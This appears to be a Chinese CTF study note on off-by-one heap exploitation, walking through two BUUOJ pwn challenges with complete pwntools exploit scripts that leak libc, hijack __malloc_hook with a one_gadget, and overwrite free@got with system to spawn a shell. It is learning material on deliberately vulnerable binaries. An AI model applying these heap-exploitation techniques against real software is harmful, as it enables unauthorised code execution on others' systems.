0%

off-by-one学习笔记

[TOC]

roarctf_2019_easy_pwn

代码审计

//v4 = sub_E26(*(&unk_202044 + 4 * v3), v2);

__int64 __fastcall sub_E26(int a1, unsigned int a2)
{ //a1是add_size,a2是edit_size
__int64 result; // rax

if ( a1 > a2 )
return a2;
if ( a2 - a1 == 10 ) //如果edit_size-add_size = 10,则v4=add_size+1
LODWORD(result) = a1 + 1;
else
LODWORD(result) = a1;
return result;
}

//v2 = sub_D92(qword_202048[2 * v3], v4);

可以分析出,如果edit_size-add_size = 10,那么我们便可以写入,add_size+1字节的数据,造成_off-by-one_漏洞。

利用思路

泄漏_libc_

修改_chunk1_size_

先创建4个_chunk_

add(0x18)
add(0x10)
add(0x90)
add(0x10)

如图:

2

往_chunk0_中写数据,通过_off-by-one_篡改_chunk1_的_size_字段为0xa1,使得_chunk_hook1_与_chunk_hook2_指向的空间,部分重叠。

payload = b'a'*0x18+b'\xa1'
edit(0,0x18+10,payload)

如图:

1

写入_fake_chunk2_size_

现在,还需要解决一个问题:
_chunk1_的_size_被修改后,_real_chunk2_的部分空间与_chunk1_共享,所以现在会出现一个_fake_chunk2_以0x559e6a0a70c0这个地址作为首地址。又因为0x559e6a0a70c8处为0,故现在_fake_chunk2_的_size_为0,也因此,_chunk3_即使是正常的,也无法被划分空间。

我们现在需要在0x559e6a0a70c8处写上_fake_chunk2_的_size_,怎么写呢?不要忘了,_real_chunk2_并未改变,_chunk_hook2_也仍然是原来的_chunk_hook2_!edit(2,size,content),就可以很正常的往0x559e6a0a70c8里写数据。

payload = p64(0)*0xe+p64(0xa1)+p64(0x21)
#因为real_chunk2的size字段依然为0xa1,该部分不能改变
#((0x10+0x10)+(0x90+0x10))-0xa0 = 0x20
edit(2,0x80,payload)

如图:

3
修改_chunk1_hook_size_

现在,还需要再解决一个问题:
本题中,能打印出多少字符,是由_chunk_hook_前面一个地址里的内容决定的。而现在,_chunk_hook1_前面的地址里,仍然是0x0000001000000001,也就是说当show(1),我们依然只能打印出0x10个字符。怎么解决呢?

不要忘了,实际上的_chunk1_的_size_已经是0xa0了!所以我们free一次_chunk1_,再malloc一次0x90的内存,_chunk_hook_区域的_size_自然会变成0x90

delete(1)
add(0x90)
payload = p64(0)*3+p64(0xa1)
#由于我们对chunk1进行操作时会刷新real_chunk2的size,所以还要再从chunk1里改回去。fake_chunk2_size因为没有在chunk1的范围内,故不会被清除
edit(1,0x20,payload)

如图:

4

被刷新为0的_real_chunk2_size_:

5

重新写入的_real_chunk2_size_:

6

现在,我们终于可以,利用_chunk_hook1_与_chunk_hook2_这两个指针泄漏_libc_地址了。

delete(2)
show(1)

one_gadget_获取_shell

新设_real_chunk2_size_

再次申请_real_chunk2_,此时_real_chunk2_的所有数据都已被清除。需重新设置_real_chunk2_的_size_为0x71(如此才能落入_fast bin_中),_fake_chunk2_的_size_为0x21,继续对其利用。

add(0x90)
payload = p64(0)*3+p64(0x71)+p64(0)*13+p64(0x21)
#real_chunk2_size = 0x71,fake_chunk2_size = 0x21
edit(1,0x90,paylaod)
修改_fast bin_中的_fd,bk_

释放_real_chunk2_到_fast bin_中,然后通过往_chunk1_里写数据,修改_real_chunk2_的_fd_和_bk_,为我们在_malloc_hook_附近构造的_chunk_。

delete(2)
fake_chunk = malloc_hook-0x23 #找到以0x7f结尾的地址
payload = p64(0)*3+p64(0x71)+p64(fake_chunk)*2
edit(1,0x30,payload)
劫持两个_hook_

从_fast bin_中回收_real_chunk2_,及构造的_fake_chunk_。然后覆盖__realloc_hook的值为one_gadget__malloc_hook的值为realloc+4

add(0x60)   #因为real_chunk2_size = 0x71
add(0x60)
payload = b'A'*11+p64(one_gadget)+p64(realloc+4)
#__realloc_hook在__malloc_hook的上一个地址
edit(4,11+0x10,payload)
add(0x60)
#程序会先执行realloc+4处的内容,然后再执行one_gadget

exp

from tools import *
# p = process("./a")
libc = ELF('libc-2.23.so')
p = remote('node5.buuoj.cn',28833)
debug(p,'pie',0x1253,0x126B,0x1277)
# context.log_level='debug'

def add(size):
p.sendlineafter("choice: ",str(1))
p.sendlineafter("size: ",str(size))
def edit(index,size,content):
p.sendlineafter("choice: ",str(2))
p.sendlineafter("index: ",str(index))
p.sendlineafter("size: ",str(size))
p.sendlineafter("content: ",content)
def delete(index):
p.sendlineafter("choice: ",str(3))
p.sendlineafter("index: ",str(index))
def show(index):
p.sendlineafter("choice: ",str(4))
p.sendlineafter("index: ",str(index))
add(0x18)
add(0x10)
add(0x90)
add(0x10)
payload = b'a'*0x18+b'\xa1'
edit(0,0x18+10,payload)
payload = p64(0)*0xe+p64(0xa1)+p64(0x21)
edit(2,0x80,payload)
delete(1)
add(0x90)
payload = p64(0)*3+p64(0xa1)
edit(1,0x20,payload)
delete(2)
show(1)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3c4b78
log_addr("libc_base")

add(0x90)
payload = p64(0)*3+p64(0x71)+p64(0)*13+p64(0x21)
edit(1,0x90,payload)
delete(2)
malloc_hook = libc_base+libc.sym['__malloc_hook']
log_addr("malloc_hook")
fake_chunk = malloc_hook-0x23
payload = p64(0)*3+p64(0x71)+p64(fake_chunk)*2
edit(1,0x30,payload)
add(0x60)
add(0x60)
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base+one_gadget[3]
realloc = libc_base+libc.sym['realloc']
payload = b'A'*11+p64(one_gadget)+p64(realloc+4)
edit(4,11+0x10,payload)
add(0x60)

p.interactive()

hitcontraining_heapcreator

_off-by-one_利用思路

​ ==利用_off-by-one_,来改写下一个_chunk_的指针_chunk_的_size_,进而实现下一个_chunk_的指针_chunk_与内容_chunk_的部分重叠和互换。==

代码审计

​ 一共有_create_heap_,_edit_heap_,_show_heap_,_delete_heap_四个函数,_edit_heap_函数中有一个堆溢出漏洞,只可以溢出1个字节。

image-20240710181416024

​ 本题中,每_malloc_一次会创建一个指针_chunk_和一个内容_chunk_(其实就是两个地址空间,分别存储着指向_chunk_中数据的指针,和_chunk_的数据),而_free_一次也就是把这两个地址空间都释放掉了。_show_heap_和_edit_heap_函数中打印和修改的内容都是由指针决定的,指针指向什么就打印和修改什么。

思路

改写_size_

free_got = elf.sym['free']
add(0x18,b'a'*8)
add(0x10,b'b'*8)
payload = b'/bin/sh\x00'+b'c'*0x10+b'\x41'
#往_chunk0_中写入'/bin/sh\x00',后面free(chunk0)的时候其实就是system("/bin/sh")
edit(0,payload)

​ 先创建两个_chunk_,0x18是为了在往_chunk0_中写内容时,直接覆盖掉_chunk1_的指针_chunk_的前8个字节,然后就可以利用溢出的一个字节改写_chunk1_的指针_chunk_的_size_。

如图,指针_chunk_的_size_值已经被改写成0x41

image-20240710192301972

​ 此时,_chunk1_的指针_chunk_与内容_chunk_,已经部分重叠(因为是指针_chunk_的_size_被改写成0x41,内容_chunk_的_size_还是0x21,所以如图

image-20240710192301977

泄漏_free_addr_

delete(1)
payload = p64(0)*4+p64(0x30)+p64(free_got)
#指针前面0x30是能存储数据的大小,不能改变
add(0x30,payload)
show(1)
p.recvuntil("Content : ")
free_addr = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
log_addr("free_addr")

delete(1)后我们可以看到_fastbins_有两个不同大小的_fastbin_chunk_,如图

image-20240710212229702

​ 然后我们再申请0x30的_chunk_用来存储数据(还有0x10的空间存储_prve_size_和_size_),又因为_fastbins_中正好有0x40的_fastbins_chunk_,所以0x12c2040及下面0x40的内存空间就成了新_chunk_的内存_chunk_,0x12c2060及下面0x20的内存空间就成了新_chunk_的指针内存。

​ 然后我们把_free@got_写到内存_chunk_的0x12c2078地址里,这个地址存储着指针_chunk_里的指针,所以现在指针就是_free@got_,而_show_函数打印出来的数据是该指针指向的内容,也就是_free@got_指向的内容。

image-20240710215550221

覆盖_free@got_表

libc_base = free_addr-libc.sym['free']
log_addr("libc_base")
system_addr = libc_base+libc.sym['system']
edit(1,p64(system_addr))
delete(0)

​ 同样,_edit_函数修改_chunk_内容,也是修改指针_chunk_的指针指向的区域。得到_system_的地址后,直接用_edit_函数修改_chunk1_的内容即可。

image-20240710220849174

最后直接_free_掉_chunk0_,便能执行system("/bin/sh"),得到_shell_。

exp

from tools import *
# p = process('./a')
p = remote("node5.buuoj.cn",28974)
debug(p,0x400DC4,0x400DB8,0x400DD0,0x400DDC)
elf = ELF('./a')
libc = ELF('./libc-2.23.so')

def add(size,content):
p.sendlineafter("Your choice :",str(1))
p.sendlineafter("Size of Heap : ",str(size))
p.sendlineafter("Content of heap:",content)
def edit(index,content):
p.sendlineafter("Your choice :",str(2))
p.sendlineafter("Index :",str(index))
p.sendlineafter("Content of heap : ",content)
def show(index):
p.sendlineafter("Your choice :",str(3))
p.sendlineafter("Index :",str(index))
def delete(index):
p.sendlineafter("Your choice :",str(4))
p.sendlineafter("Index :",str(index))

free_got = elf.got['free']
add(0x18,b'a'*8)
add(0x10,b'b'*8)
payload = b'/bin/sh\x00'+b'c'*0x10+b'\x41'
edit(0,payload)

delete(1)
payload = p64(0)*4+p64(0x30)+p64(free_got)
add(0x30,payload)
show(1)
p.recvuntil("Content : ")
free_addr = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
log_addr("free_addr")

libc_base = free_addr-libc.sym['free']
log_addr("libc_base")
system_addr = libc_base+libc.sym['system']
edit(1,p64(system_addr))
delete(0)

p.interactive()

拿到_flag_

image-20240710222113464